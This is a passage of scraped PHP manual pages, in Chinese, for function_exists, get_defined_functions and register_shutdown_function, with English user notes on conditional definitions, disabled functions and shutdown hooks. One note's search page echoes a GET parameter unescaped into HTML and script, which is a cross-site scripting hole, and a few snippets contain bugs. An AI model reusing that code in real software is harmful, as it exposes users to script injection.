func_num_args() can be used in conjunction with named arguments, also. For example:

<?php
function DebugShow( $label, $value ) {
  echo "# " . $label ;
  if ( func_num_args() > 1 ) echo " = " . $value ;
  echo "<br>";
}
?>
ashley at dcs dot warwick dot ac dot uk 17-Apr-2002 04:40
If you want to pass the parameters on intact to another function, use func_get_args and call_user_func_array (careful - this one is only available in recent PHP versions).  For example:

<?php
/* Print an HTML tag.  This accepts a variable number of arguments:
   the first should be the name of the tag, followed by pairs of
   arguments that describe keys and values.  The values are printed
   with surrounding double quote characters.  */
function printTag() {
  $numArgs = func_num_args();
  if ($numArgs < 1) die("printTag given no arguments");

  echo "<" . func_get_arg(0);
  for ($i = 1; $i < $numArgs; $i+=2) {
    echo " " . func_get_arg($i);
    if ($i+1 < $numArgs)
      echo "=\"" . func_get_arg($i+1) . "\"";
  }
  echo ">";

}

/* Print an HTML tag with a newline on the end */
function printTagNL() {
  $args = func_get_args();
  call_user_func_array("printTag", $args);
  echo "\n";
}

printTagNL("input", "type", "hidden", "name", "SORTORDER", "value", $columnNo);
?>
thalis at NOSPAMcs dot pitt dot edu 29-Mar-2002 12:05
The idea of func_get_args() is to construct functions of variable number of parameters like

<?php
function var_param_func(){
    if(func_num_args()==0){
        //do one thing
    }
    if(func_num_args()==1)
        //do another thing
        //get the args with func_get_args()
    }
}
?>


如果给定的函数已经被定义就返回 TRUE

  • ? func_num_args
  • get_defined_functions ?
  • PHP Manual
  • 函数处理 函数
  • 如果给定的函数已经被定义就返回 TRUE

function_exists

(PHP 4, PHP 5, PHP 7)

function_exists — 如果给定的函数已经被定义就返回 TRUE

说明

function_exists ( string $function_name ) : bool

在已经定义的函数列表（包括系统自带的函数和用户自定义的函数）中查找 function_name。

参数

function_name

函数名，必须为一个字符串。

返回值

如果 function_name 存在且的确是一个函数就返回 TRUE ，反之则返回 FALSE 。

Note:

对于语法结构的判断，例如 include_once 和 echo 将会返回 FALSE 。

范例

Example #1 function_exists() 的例子

<?php
if (function_exists('imap_open')) {
    echo "IMAP functions are available.<br />\n";
} else {
    echo "IMAP functions are not available.<br />\n";
}
?>

注释

Note:

当本配置或者编译或编译选项禁用某函数时，该函数名也可能存在（ image 就是一个现成的例子）

参见

  • method_exists() - 检查类的方法是否存在
  • is_callable() - 检测参数是否为合法的可调用结构
  • get_defined_functions() - 返回所有已定义函数的数组
  • class_exists() - 检查类是否已定义
  • extension_loaded() - 检查一个扩展是否已经加载

User Contributed Notes

ayyappan dot ashok at gmail dot com 31-Mar-2016 10:03
PHP supports nested function based on certain criteria.

Please look over the code.

function Media(){ }

function Audio()
{
    echo "Plugged Audo 5.1:<br/>";
    function Volume()
    {
    echo "Volume controls:<br/>";
    function Equalizer()
    {
        echo "Equalize Bands:<br/>";
    }
   }
}
//Call to nested functions
Audio();
Volume();
Equalizer();

if(function_exists('Volume')):
echo "TRUE";
else:
echo "FALSE";
endif;

Case 1:  //Result :Works Well
--------
Audio();
Volume();
Equalizer();

Case 2:  //Results Notice Error. Root function Audio must be called first.
--------
Volume();

Case 3:  //Results Error. Root function Volume must be called.
--------
Audio();
Equalizer();

Note :
The nested function should be called based on their order used.
In our example when Audio is not called and instantly when we try to call Volume puts under error.

Even though there is an possibility to use nested functions in PHP. It looks overhead to do so. Better to avoid in logical ground of script.

Tested on PHP 5.5.32
michael at squiloople dot com 01-Sep-2015 08:28
It should be noted that the function_exists check is not relative to the root namespace. This means that the namespace should be appended to the check:

<?php

  namespace test;

  if (!function_exists(__NAMESPACE__ . '\example'))
  {

    function example()
    {

    }

  }

?>
BruceB 21-Aug-2015 03:55
This is not going to go down as you might expect it should (even if you play smart and require/include_once):

<?php
if(function_exists('my_function'))
{
   throw new Exception("'my_function' is already defined!");
}

function my_function()
{
   // Do the work here
}
?>

This, however does work:

<?php
if( ! function_exists('my_function'))
{
   function my_function()
   {
      // Do the work here
   }
}
else
{
   throw new Exception("'my_function' is already defined!");
}
?>

Does it have anything to do with PHP parse/execute phases or global/local scope or those curly brackets or something else, I have no idea, but the latter ugly son works, while the former bombs out claiming that 'my_function' is already defined.

Thought this might save someone a few minutes of debugging time...
b dot g dot dariush at gmail dot com 07-Feb-2014 05:50
function_exists() does not cache its query internally.

by executing the following code

        $funcs = \array_shift(\get_defined_functions());
        $l = new \core\utiles\loadTime;
        $times = 0;
        $l->start();
        for($index = 0; $index<count($funcs); $index++)
        {
            foreach($funcs as $func)
            {
                $times++;
                if(\function_exists($func)) ;
            }
        }
        $s = $l->stop();
        echo "<span style='color:green'>$times</span> took : $s";
        # the output would be
         $> 2365444 took : 0.70324

By executing the

        $funcs = \array_shift(\get_defined_functions());
        $l = new \core\utiles\loadTime;
        $times = 0;
        $l->start();
        static $func_check = array();
        for($index = 0; $index<count($funcs); $index++)
        {
            foreach($funcs as $func)
            {
                $times++;
                if(!isset($func_check[$func]))
                {
                    if(\function_exists($func)) ;
                    $func_check[$func] = 1;
                }
                else $func_check[$func];
            }
        }
        $s = $l->stop();
        echo "<span style='color:green'>$times</span> took : $s";
        # the output would be
        $> 2365444 took : 0.53446

There is a 0.16878 seconds improvement, when you use static array to cache methods existence.
kitchin 25-Sep-2012 12:49
You can use this function to conditionally define functions, see: http://php.net/manual/en/functions.user-defined.php

For instance Wordpress uses it to make functions "pluggable." If a plugin has already defined a pluggable function, then the WP code knows not to try to redefine it.

But function_exists() will always return true unless you wrap any later function definition in a conditional clause, like if(){...}. This is a subtle matter in PHP parsing. Some examples:

<?php
if (function_exists('foo')) {
  print "foo defined\\n";
} else {
  print "foo not defined\\n";
}
function foo() {}

if (function_exists('bar')) {
  print "bar defined\\n";
} else {
  print "defining bar\\n";
  function bar() {}
}
print "calling bar\\n";
bar(); // ok to call function conditionally defined earlier

print "calling baz\\n";
baz(); // ok to call function unconditionally defined later
function baz() {}

qux(); // NOT ok to call function conditionally defined later
if (!function_exists('qux')) {
  function qux() {}
}
?>
Prints:
  foo defined
  defining bar
  calling bar
  calling baz
  PHP Fatal error: Call to undefined function qux()

Any oddities are probably due to the order in which you include/require files.
admin at gk-root dot com 22-Mar-2012 02:51
// If you want to chack if the function is enabled or disable in php.ini you can use this function:

<?php
function func_enabled($func) {
    $disabled = explode(',', ini_get('disable_functions'));
    foreach ($disabled as $disableFunction) {
        $is_disabled[] = trim($disableFunction);
    }
    if (in_array($func,$is_disabled)) {
        $it_is_disabled["m"] = $func.'() has been disabled for security reasons in php.ini';
        $it_is_disabled["s"] = 0;
    } else {
        $it_is_disabled["m"] = $func.'() is allow to use';
        $it_is_disabled["s"] = 1;
    }
    return $it_is_disabled;
}
?>

// An example of how to use:

<?php
$if_is_disabled = func_enabled('exec'); // return Arrey
echo $if_is_disabled["m"]; // return text value
echo '<br/>';
echo $if_is_disabled["s"]; // return 1 or 0
?>
zach at bygeekz dot com 20-Sep-2008 06:20
to php at fluidthoughts dot com

you aren't comparing against false, that if compares against true, so it's going to return that, as false != true
true being 1, True, (bool)True, etc.
false being 0, False, Null, etc
<?php

$foo=null;
if ($foo) { echo 'yay'; } //does not echo yay, because null is not True

$foo=false;
if ($foo) { echo 'yay'; } //does not echo yay, because false is not True

$foo=null;
if (!$foo) { echo 'yay'; } //echoes yay!

$foo=false;
if (!$foo) { echo 'yay'; } //echoes yay!

?>

This..
<?php
    if (!function_exists('')) {
                echo "empty string function doesnt exist as compared as negative\n";
        }

        if (!function_exists(NULL)) {
                echo "NULL function doesnt exist as compared as negative\n";
        }
?>
Works.

Alternatively, to enter upon existance..

Use your code. Since they dont exist, it wont enter..
php at fluidthoughts dot com 19-Mar-2008 10:18
function_exists returns false on NULL and empty string:

<?php
        if (function_exists('')) {
                echo "empty string function exists\n";
        }

        if (function_exists(NULL)) {
                echo "NULL function exists\n";
        }
?>

Neither of the echo statements happen when I run this.
webmaster at mamo-net dot de 22-Sep-2007 05:43
If you use suhosin.executor.func.blacklist instead of disabled_functions in your php.ini, function_exists will return true for a disabled function. I used this to have the same beahviour with suhosin.executor.func.blacklist and disabled_functions:

<?php
function suhosin_function_exists($func) {
    if (extension_loaded('suhosin')) {
        $suhosin = @ini_get("suhosin.executor.func.blacklist");
        if (empty($suhosin) == false) {
            $suhosin = explode(',', $suhosin);
            $suhosin = array_map('trim', $suhosin);
            $suhosin = array_map('strtolower', $suhosin);
            return (function_exists($func) == true && array_search($func, $suhosin) === false);
        }
    }
    return function_exists($func);
}
?>
White-Gandalf 13-Sep-2007 07:26
I stumbled over the same problem as "eddiec" (users not able or not willing to use "_once"-suffixes).

A possible alternative explanation for the behavior:

If a file is included, it is possibly parsed every include-time.(?)
While parsing, every function in global scope is tried to register. THIS gets wrong, when multiple times included, and it produces an error.

If functions are defined within block scopes, their registration seems to be delayed until execution of such a block. Thus, not the function "function_exists" functions wrong, but simply the philosophy of the interpreter produces such results.

Thus, the same effect can be achieved by simply putting block braces around the contents of an include_once file:

if (function_exists('function_in_question')) return;
{
    function function_in_question(...)
    {
        ...
    }
    ...other stuff
}

...which is equivalent to...

if (!function_exists('function_in_question'))
{
    function function_in_question(...)
    {
        ...
    }
    ...other stuff
}
dieter at edarta dot be 16-Feb-2007 03:09
to brooklynphil at hotmail dot com:

Your post is misleading, namely the 3rd and last speedtest you describe is an unfair comparison:

<?php
is_callable('test','test');
?>

The value of the 2nd parameter $syntax_only is 'test' and this evaluates to boolean true. In other words, this is exactly the same as calling the function like this:

<?php
is_callable('test',true);
?>

Of course this will be faster because is_callable only does a very basic syntaxcheck. From the documentation: 'It will only reject simple variables that are not strings, or an array that does not have a valid structure to be used as a callback.'

If you omit this erroneous 3rd test, then according to your examples function_exists is 2 to 4 times faster.

I hope you can see that loop-testing functions is not so simple. :)

rtfm
eddiec at stararcher dot com 09-Feb-2007 09:58
Note that function_exists will return TRUE in the following situation, presumably because the function "testfunc" was defined when the script was PARSED/ITERPRETED, before the function_exists call was made at RUNTIME:

<?php
if (function_exists('testfunc')) return;
function testfunc() { }
?>

So, this construction is not useful for preventing testfunc from being multiply defined if the script is muliply included or required.

However, the following construction DOES work to prevent multiple defines of testfunc:

<?php
if (!function_exists('testfunc')) {
  function testfunc() { }
}
?>

CONTRAST this with similar uses of defined() which is completely runtime evaluated.  These both work:

<?php
if (defined('testfunc_defined')) return;
define('testfunc_defined', 1);
function testfunc() { }
?>

AND...

<?php
if (!defined('testfunc_defined')) {
define('testfunc_defined', 1);
function testfunc() { }
}
brooklynphil at hotmail dot com 30-Jan-2007 11:02
to bob at thethirdshift dot net
regarding is_callable vs function_exists.

using your code
is_callable = TRUE, function_exists = FALSE

Did 10000 is_callables in 0.0443360805511 seconds
Did 10000 function_exists in 0.0111110210419 seconds

then we replace
is_callable(array('test','test'));
with
$callarray = array('test','test'); // place this outside for-loop
is_callable($callarray);

is_callable = TRUE, function_exists = FALSE

Did 10000 is_callables in 0.0314660072327 seconds
Did 10000 function_exists in 0.0120670795441 seconds

then we replace
is_callable(array('test','test'));
with
is_callable('test','test');

is_callable = TRUE, function_exists = FALSE

Did 10000 is_callables in 0.00991606712341 seconds
Did 10000 function_exists in 0.0113790035248 seconds

I hope you can see that loop-testing functions is not so simple. :)
Dan 17-Jul-2006 08:49
I would like to comment on the following post:

A note of caution: function_exists() appears to be case-insensitive (at least as of PHP 4.3.8).  e.g.:

<?php
   function MyCasedFunction() {
       return true;
   }

   // Will return true, even though casing is "wrong"
   if (function_exists("mYcAsEdFuNcTiOn"))
       echo "I see it!";
?>

I believe that function calls itself are case insensitve, so this function is returning a valid truth. PHP doesn't care about cases.
andi at splitbrain dot org 07-Jul-2006 03:48
function_exists will return false for functions disabled with the disable_functions ini directive. However those functions are still declared so trying to define them yourself will fail.

<?php
if(!function_exists('readfile')){
  function readfile($file){
    $handle=@fopen($cache,"r");
    echo @fread($handle,filesize($file));
    @fclose($handle);
  }
}
?>

The above will issue a "Cannot redeclare readfile()" fatal error if readfile was disabled with disable_functions.
neelam_ab2003 at yahoo dot co dot in 11-May-2006 12:06
<?php
/*PHP doesn't Support nested functions. I have tried following in PHP_VERSION - 5.1.2*/

function A(){}

function B(){
    function C(){
        function D(){}
    }
}

IsFunctionExist('A');
IsFunctionExist('B');
IsFunctionExist('C');
IsFunctionExist('D');

function IsFunctionExist($funcName){
    echo function_exists($funcName)?" $funcName exist <br>":" $funcName doesn't exist <br>";
}
?>

/*O U T P U T
A exist
B exist
C doesn't exist
D doesn't exist
*/
chaumo 16-Jul-2005 05:46
to avoid direct calls this can be better than function_exists
in the parent file:
<?php
define("IN_MODULE",true);
?>
and in the target file:
<?php
if(!defined("IN_MODULE")) die("Can't access the file directly");
?>
fili at fili dot nl 08-Jun-2005 09:24
To prevent direct calls to included files i use the following technique.

In the main file create an empty function with a random name. Like so:

<?php
function hjudejdjiwe() { return true; }
?>

Then check for the existence of this function within your include:

<?php
if (!function_exists('hjudejdjiwe')) { die('!'); }
?>

Simple but effective.
bob at thethirdshift dot net 23-Jun-2004 09:55
I, too, was wondering whether is_callable or function exists is faster when checking class methods.  So, I setup the following test:

<?php
function doTimes($start, $end)
  {
    $start_time = explode (" ", $start);
    $start_time = $start_time[1] + $start_time[0];
    $end_time = explode (" ", $end);
    $end_time = $end_time[1] + $end_time[0];
    $time = $end_time - $start_time;
    return $time;
  }

class test
  {
      function test()
      {
          return true;
      }
  }

$callableIsTrue = false;
$startIsCallable = microtime();
for($i = 0; $i < 10000; $i++)
  {
      if(is_callable(array('test', 'test'))) { $callableIsTrue = true; }
  }
$endIsCallable = microtime();

$existsIsTrue = false;
$startExists = microtime();
for($i = 0; $i < 10000; $i++)
  {
      if(function_exists('test::test')) { $existsIsTrue = true; }
  }
$endExists = microtime();

$timeIsCallable = doTimes($startIsCallable, $endIsCallable);
$timeExists     = doTimes($startExists, $endExists);

echo "<b>is_callable = ".($callableIsTrue ? "TRUE" : "FALSE")."</b>, \n";
echo "<b>function_exists = ".($existsIsTrue ? "TRUE" : "FALSE")."</b><br>\n";

echo "<br>Did 10000 is_callables in ".$timeIsCallable." seconds";
echo "<br>Did 10000 function_exists in ".$timeExists." seconds";
?>

This gives the output :

is_callable = TRUE, function_exists = FALSE

Did 10000 is_callables in 0.0640790462494 seconds
Did 10000 function_exists in 0.0304429531097 seconds

So the fact that function_exists is twice as fast is slightly over shadowed by the fact that it doesn't work on class methods, at least not as far as I can tell.
ckrack at i-z dot de 09-Mar-2004 12:22
i was wondering whether is_callable or function exists is faster when checking class methods.

is_callable(array('foo', 'bar'));
function_exists('foo::bar');

my results when doing each operation 10000 times with a simple test class were the following:

is_callable: 0.28671383857727 seconds
function_exists: 0.14569997787476 seconds

(following tests have proved this to be true).

thus you can see, function_exists is twice as fast as is_callable.
breadman 29-Jul-2003 05:17
Functions within a function are better off as anonymous returns from create_function(), unless you want to be able to call it elsewhere.

However, I have used this in skinning:  I use alert_box() to display certain errors, like a faulty SQL query.  This simply calls display_alert(), which is defined in my skin scripts.  However, alert_box() is sometimes called before I know which skin to load, so it has its own functionality which it uses if function_exists('display_alert') returns false.
dshearin at excite dot com 08-Jul-2003 03:15
This can be used to conditionally define a user function. In this sense, it can act as a sort of inline include_once().

For example, suppose you have a function A that calls function B. B is only used inside function A and is never called from anywhere else in the script. It's logical (and perfectly legal in PHP) to define B inside of A's definition, like so:

<?php
function A($inputArray)
{
   if (!function_exists('B'))
   {
      function B($item)
      {
           // Do something with $item
         // and return result
          return $result;
      }
   }
   foreach ($inputArray as $nextItem) $outputArray[] = B($nextItem);
   return $outputArray;
}
?>

Without the function_exists test, you would get a fatal error the second time you called A, as PHP would think you were trying to redefine B (not legal in PHP). The placement of the test is also important. Since the if block is executed sequentially, like any other block of code, it must come before any call to the function defined within.


返回所有已定义函数的数组

  • ? function_exists
  • register_shutdown_function ?
  • PHP Manual
  • 函数处理 函数
  • 返回所有已定义函数的数组

get_defined_functions

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

get_defined_functions — 返回所有已定义函数的数组

说明

get_defined_functions ([ bool $exclude_disabled = FALSE ] ) : array

获取所有已定义函数的数组。

参数

exclude_disabled

禁用的函数是否应该在返回的数据里排除。

返回值

返回数组，包含了所有已定义的函数，包括内置(internal) 和用户定义的函数。 可通过$arr["internal"]来访问系统内置函数， 通过$arr["user"]来访问用户自定义函数 (参见示例)。

更新日志

版本 | 说明
PHP 7.0.15, PHP 7.1.1 | 增加 exclude_disabled 参数。

范例

Example #1 get_defined_functions() 例子

<?php
function myrow($id, $data)
{
    return "<tr><th>$id</th><td>$data</td></tr>\n";
}

$arr = get_defined_functions();

print_r($arr);
?>

以上例程的输出类似于：

Array
(
    [internal] => Array
        (
            [0] => zend_version
            [1] => func_num_args
            [2] => func_get_arg
            [3] => func_get_args
            [4] => strlen
            [5] => strcmp
            [6] => strncmp
            ...
            [750] => bcscale
            [751] => bccomp
        )

    [user] => Array
        (
            [0] => myrow
        )

)

参见

  • function_exists() - 如果给定的函数已经被定义就返回 TRUE
  • get_defined_vars() - 返回由所有已定义变量所组成的数组
  • get_defined_constants() - 返回所有常量的关联数组，键是常量名，值是常量值
  • get_declared_classes() - 返回由已定义类的名字所组成的数组

User Contributed Notes

Muneeb Aslam 27-Oct-2015 12:30
This is rather a simple non-confusing script to get the function names linked to its manual page on php.net. Hope it helps someone. Commented script is self explainatory

<?php

    /*declare a variable to php manual of functions.
    change the $lng to the region you want it for,
    i-e en/es/de etc etc */
    $lng = "es";
    $url = "http://www.php.net/manual/".$lng."/function.";

    // get defined functions in a variable (it will be a 2D array)
    $functions = get_defined_functions();

    // Run nested foreach to get the function names
    foreach($functions as $function){
        foreach ($function as $functionName){

            /* Since php manual is using hyphens instead of underscores
            for functions, we will convert underscores to hyphen whereever
            there is one. */
            if(strpos($functionName,"_") !== false){
                $functionForURL = str_replace("_","-",$functionName);
            } else {
                $functionForURL = $functionName;
            }

            /* echo the link */
            echo "<a href='".$url.$functionForURL.".php'>".$functionName."</a><br />";
        }
    }

?>
Muneeb Aslam 26-Oct-2015 07:46
We can also get the function names with this simple foreach

<?php

    //Since its a two dimensional array
    $functions = get_defined_functions();

    //We can use nested foreach to get the function names
    foreach($functions as $function){
         foreach($function as $thisFunc){
             echo $thisFunc . "<br />";
         }
     }

?>
kkuczok at gmail dot com 22-May-2013 08:14
You can list all arguments using ReflectionFunction class. It's not necessary to parse selected files/files as suggested by Nguyet.Duc.

http://php.net/manual/pl/class.reflectionfunction.php

Example:
<?php
function foo(&$bar, $big, $small = 1) {}
function bar($foo) {}
function noparams() {}
function byrefandopt(&$the = 'one') {}

$functions = get_defined_functions();
$functions_list = array();
foreach ($functions['user'] as $func) {
        $f = new ReflectionFunction($func);
        $args = array();
        foreach ($f->getParameters() as $param) {
                $tmparg = '';
                if ($param->isPassedByReference()) $tmparg = '&';
                if ($param->isOptional()) {
                        $tmparg = '[' . $tmparg . '$' . $param->getName() . ' = ' . $param->getDefaultValue() . ']';
                } else {
                        $tmparg.= '&' . $param->getName();
                }
                $args[] = $tmparg;
                unset ($tmparg);
        }
        $functions_list[] = 'function ' . $func . ' ( ' . implode(', ', $args) . ' )' . PHP_EOL;
}
print_r($functions_list);
?>

Output:
Array
(
    [0] => function foo ( &&bar, &big, [$small = 1] )

    [1] => function bar ( &foo )

    [2] => function noparams (  )

    [3] => function byrefandopt ( [&$the = one] )

)
Nguyet.Duc 30-Jul-2011 01:22
get_defined_functions() just returns a list of function names without function arguments. Here is the code to list user-defined function names plus arguments:

<?php
    $content = file_get_contents('example.php');
    preg_match_all("/(function )(\S*\(\S*\))/", $content, $matches);
    foreach($matches[2] as $match) {
        $function[] = "// " . trim($match) . "<br />\n";
    }
    natcasesort($function);
    $functionlist .= "/* Functions in this file */<br />\n";
    $functionlist .= "/**************************/<br />\n\n";
    $functionlist .= implode('', $function);
    echo $functionlist;
?>

Output:

/* Functions in this file */
/**************************/
// add_data($data)
// add_files($list)
// archive($name)
// bzip_file($name)
rob at webdimension dot co dot uk 01-Apr-2011 08:48
A quick way of using this function:

<?php
// ALL USER DEFINED FUNCTIONS
$arr = get_defined_functions();
foreach ($arr['user'] as $key => $value){
echo $value.'<br />';
}
// ALL USER DEFINED FUNCTIONS

// ALL INTERNAL FUNCTIONS
$arr = get_defined_functions();
foreach ($arr['internal'] as $key => $value){
echo $value.'<br />';
}
// ALL INTERNAL FUNCTIONS
?>
ChaosKaizer 10-Jul-2008 07:13
for user defined function

<?php
/**
 * @param string $function_name The user function name, as a string.
 * @return Returns TRUE if function_name  exists and is a function, FALSE otherwise.
 */
function user_func_exists($function_name = 'do_action') {

    $func = get_defined_functions();

    $user_func = array_flip($func['user']);

    unset($func);

    return ( isset($user_func[$function_name]) );
}
?>
strrev xc.noxeh@ellij 04-Jun-2008 05:31
Please note that functions created with create_function() are not returned.
(However that might change in a later version)
spudinski at gmail dot com 01-Apr-2008 06:13
To search for a function.
<html>
<head>
<title>List of all Internal functions</title>
<style type="text/css">
body {
    background-color: #FFFFFF;
    color: #222222;
    font-size: 11px;
    font-family: arial, tahoma;
}
table {
    color: #222222;
    font-size: 11px;
    font-family: arial, tahoma;
}
tr.found {
    background-color: #66EE00;
    font-weight: bold;
}
a:link {
    color: #222222;
}
a:visited {
    color: #CCCCCC;
}
a:active {
    color: #444444;
}
a:hover {
    text-decoration: underline;
}
</style>
</head>
<body>
<p>
    <form method="GET">
    Search: <input type="text" name="search"><br>
    <input type="submit">
    </form>
</p>
<?php
    if (!empty($_GET['search'])) {
        echo '<p>' . '<a href="#' . $_GET['search'] . '">' .
        'Goto ' . $_GET['search'] . '</a>' .
        '<script type="text/javascript">
            window.onload = function() {
                document.location += "#' . $_GET['search'] . '";
                return true;
            }
        </script>
        </p>';
    }
?>
<p>
    <table>
<?php
    $country = 'us';
    $functions = get_defined_functions();
    $functions = $functions['internal'];
    $num = 0;
    foreach($functions as $function) {
        $num++;
        echo '<tr ' . (($_GET['search'] == $function) ? 'class="found"' : '') . '><td>' .
        number_format($num) . '</td><td>' . '<a name="' . $function . '" href="http://' . $country . '.php.net/' .
        $function . '">' . $function . '</a>' . '</td></tr>';
    }
?>
    </table>
</p>
</body>
</html>
berchentreff at berchentreff dot de 31-Mar-2006 05:46
look at here, list all the defined function on your php-Version and give as well formatted output width links onto the php-manual:

<html><head>
<style type="text/css"><!--
li{font-family:Verdana,Arail,sans-serif;width:500px;margin-top:7px;}
a{padding:4px;}
a.a1{font-size:12px;background-color:#CCCCCC;color:#663300;}
a.a1:hover{background-color:#663300;color:#CCCCCC;}
a.a1:visited{background-color:#fff;color:#999;}
a.a1:visited:hover{background-color:#fff;color:#999;}
a.a0{font-size:12px;background-color:#CCCCFF;color:#663399;}
a.a0:hover{background-color:#663399;color:#CCCCFF;}
a.a0:visited{background-color:#ffC;color:#999;}
a.a0:visited:hover{background-color:#ffC;color:#999;}
--></style>
</head><body style="background-color:#999;">
<?php
$arr = get_defined_functions();

foreach($arr as $zeile){
sort($zeile);$s=0;
foreach($zeile as $bzeile){
$s=($s)?0:1;
echo "<li><a class='a".$s."'  href='http://de.php.net/".$bzeile."'>".$bzeile."</a></li>";}
}
?>
</body>
</html>
mIHATESPAMduskis at bates dot edu 21-Nov-2002 02:47
At least with PHP 4.2.3 on a GNU/Linux/Apache platform, get_defined_functions() returns user-defined functions as all-lower case strings regardless of how the functions are capitalized when they are defined.

Threw me for a loop.
peten at spam dot me dot not dot frontiernet dot net 02-Jun-2002 10:28
Here's a useful trick with the get_defined_functions function - show all available functions with a link to the documentation (you can even change the mirror it goes to):

<?php
  // the php mirror
  $php_host = "http://us2.php.net/";

  // the number of cols in our table
  $num_cols = 3;

  $ar = get_defined_functions();
  $int_funct = $ar[internal];
  sort($int_funct);
  $count = count($int_funct);
?>
<html>
 <head>
  <title>
   Available PHP Functions
  </title>
 </head>
 <body>
  <p>
   <?php print $count; ?> functions
    available on
    <?php
      print $_SERVER[SERVER_NAME];
     ?>
   (<a href="<?php print $php_host;?>"
    target="phpwin">php</a>
    version
    <?php print phpversion(); ?>)
  </p>
  <table align="center" border="2">
   <tr>
<?php
  for($i=0;$i<$count;$i++) {
    $doc = $php_host
     . "manual/en/function."
     . strtr($int_funct[$i], "_", "-")
     . ".php";
    print "    <td><a href=\"" . $doc
     . "\" target=\"phpwin\">"
     . $int_funct[$i]
     . "</a></td>\n";
    if(($i > 1)
     && (($i+$num_cols)%$num_cols==($num_cols-1)))
      print "   </tr>\n   <tr>\n";
    }
  for($i=($num_cols-($count%$num_cols));$i>0;$i--)
    print "    <td>&nbsp;</td>\n";
?>
  </table>
 </body>
</html>


注册一个会在php中止时执行的函数

  • ? get_defined_functions
  • register_tick_function ?
  • PHP Manual
  • 函数处理 函数
  • 注册一个会在php中止时执行的函数

register_shutdown_function

(PHP 4, PHP 5, PHP 7)

register_shutdown_function — 注册一个会在php中止时执行的函数

说明

register_shutdown_function ( callable $callback [, mixed $parameter [, mixed $... ]] ) : void

注册一个 callback ，它会在脚本执行完成或者 exit() 后被调用。

可以多次调用 register_shutdown_function() ，这些被注册的回调会按照他们注册时的顺序被依次调用。 如果你在注册的方法内部调用 exit()， 那么所有处理会被中止，并且其他注册的中止回调也不会再被调用。

参数

callback

待注册的中止回调

中止回调是作为请求的一部分被执行的，因此可以在它们中进行输出或者读取输出缓冲区。

parameter

可以通过传入额外的参数来将参数传给中止函数

...

返回值

没有返回值。

错误／异常

如果传入的callback不是可调用的，那么将会产生一个 E_WARNING 级别的错误。

范例

Example #1 register_shutdown_function() 例子

<?php
function shutdown()
{
    // This is our shutdown function, in
    // here we can do any last operations
    // before the script is complete.

    echo 'Script executed with success', PHP_EOL;
}

register_shutdown_function('shutdown');
?>

注释

Note:

在某些web server（如Apache）上，可以在中止函数内对脚本的工作目录进行修改。

Note:

如果进程被信号SIGTERM或SIGKILL杀死，那么中止函数将不会被调用。尽管你无法中断SIGKILL，但你可以通过pcntl_signal() 来捕获SIGTERM，通过在其中调用exit()来进行一个正常的中止。

参见

  • auto_append_file
  • exit() - 输出一个消息并且退出当前脚本
  • 连接处理 章节

User Contributed Notes

Anonymous 16-Mar-2019 10:08
warning: in addition to SIGTERM and SIGKILL, the shutdown functions won't run in response to SIGINT either. (observed on php 7.1.16 on windows 7 SP1 x64 + cygwin  and php 7.2.15 on Ubuntu 18.04)
lizaazil1902 at gmail dot com 17-Jan-2019 05:09
exit can be used to termintate the page if status false
marcelotpcruz at gmail dot com 28-Nov-2018 09:58
I elaborated following functions, so you can close your connection if you can't count on fastcgi_finish_request.

You'll use puts instead of echo, so you can close the connection whenever you want as long as you don't touch echo when you use those functions.
It works it compression and is easy to adapt:

function connsettings($name, $val=null){
    static $settings = array();

    if(!isset($settings[$name]))
        $settings[$name] = false;
    if($val !== null)
        $settings[$name] = $val;

    return $settings[$name];
};//Just saving compression and init var to check if it's true or false

function puts(){
//Using args so it works like echo with comma ands dots
    $numargs = func_num_args();
    $arg_list = func_get_args();
    $string = '';

    if($numargs === 0)
        return;
    else if($numargs > 1)
        for($i = 0; $i < $numargs; $i++)
            $string .= $arg_list[$i];
    else
        $string = $arg_list[0];

    if(connsettings('init') === false)
    {
        // buffer all upcoming output - make sure we care about compression:
        if(ob_start("ob_gzhandler"))
            connsettings('compression', true);
        else
            ob_start();

        connsettings('init', true);
        register_shutdown_function('puts', null, true);
    }
    echo $string;
}
function close(){
    if(!headers_sent())//it may work without this verification when no compression but may lead to uncomplete data
    {
        // send headers to tell the browser to close the connection
        ob_end_flush(); // Order here matter, it won't work if it goes after Content-Length
        if(connsettings('compression') === false)
            header("Content-Encoding: none");
        header('Content-Length: ' . ob_get_length());
        header('Connection: close');
        // flush all output
        //ob_end_flush();
        ob_flush();
        flush();
        // close current session
        if (session_id()) session_write_close();
        set_time_limit(0);
        ignore_user_abort(true);
    }
}
ashnazg at php dot net 19-Jul-2017 03:57
Regarding michaeln's note about registering __destruct() resulting in the destructor being called twice.  This is true since some PHP5 version.

Doing this step was likely only a tactic in PHP4, in which it worked as expected.  However, once upgrading to PHP5, you'll want to look for and likely remove such usage from your code.
raat1979 at gmail dot com 08-Feb-2017 07:31
I wanted to set the exit code for a CLI application from a shutdown function by using a class property,

Unfortunataly (as per manual)  "If you call exit() within one registered shutdown function, processing will stop completely and no other registered shutdown functions will be called."

As a result if I call exit in my shutdown function I will break other shutdown functions (like one that logs fatal errors to syslog)

However! (as per manual)  "Multiple calls to register_shutdown_function() can be made, and each will be called in the same order as they were registered."

As luck would have it you are also able to register a shutdown function from within a shutdown function (at least in PHP 7.0.15 and 5.6.30)

in other words if you register a shutdown function inside a shutdown function it is appended to the shutdown function queue.

<?php
class SomeApplication{
    private $exitCode = null;

    public function __construct(){
        register_shutdown_function(function(){
        echo "some registered shutdown function";
            register_shutdown_function(function(){
                echo "last registered shutdown function";
                // one might even consider another register shutdown_function if one expects other shutdown functions to do the same...
                exit($this->exitCode === null ? 0 : $this->exitCode);
            });
        });
    }
}
?>
no at pls dot com 22-Nov-2016 03:32
I used register_shutdown_function to send an error code in http headers if max execution time was exceeded, executing the registered function IS the stated behavior but it used to not do that when i first tried it (i know, too lazy to read).

I ended writing this for the behavior i wanted:

register_shutdown_function(
    function(){
        $time = microtime(true) - $_SERVER["REQUEST_TIME_FLOAT"];
        $limit = ini_get('max_execution_time');
        if($time >= 0.9 * $limit){
            http_response_code(500);
         }
    }
);
xcl_rockman at qq dot com 25-Sep-2015 06:02
for static call
register_shutdown_function(function () {
                demo::shutdownFunc();
});
m dot agkopian at gmail dot com 30-Apr-2014 10:29
Use this small snippet inside your bootstrap in order to always have a way to know reliably what was the last page of your site that the user have visited, without having to use $_SERVER['HTTP_REFERER'].

<?php
session_start();

// Get current page
$current_page = htmlspecialchars($_SERVER['SCRIPT_NAME'], ENT_QUOTES, 'UTF-8');
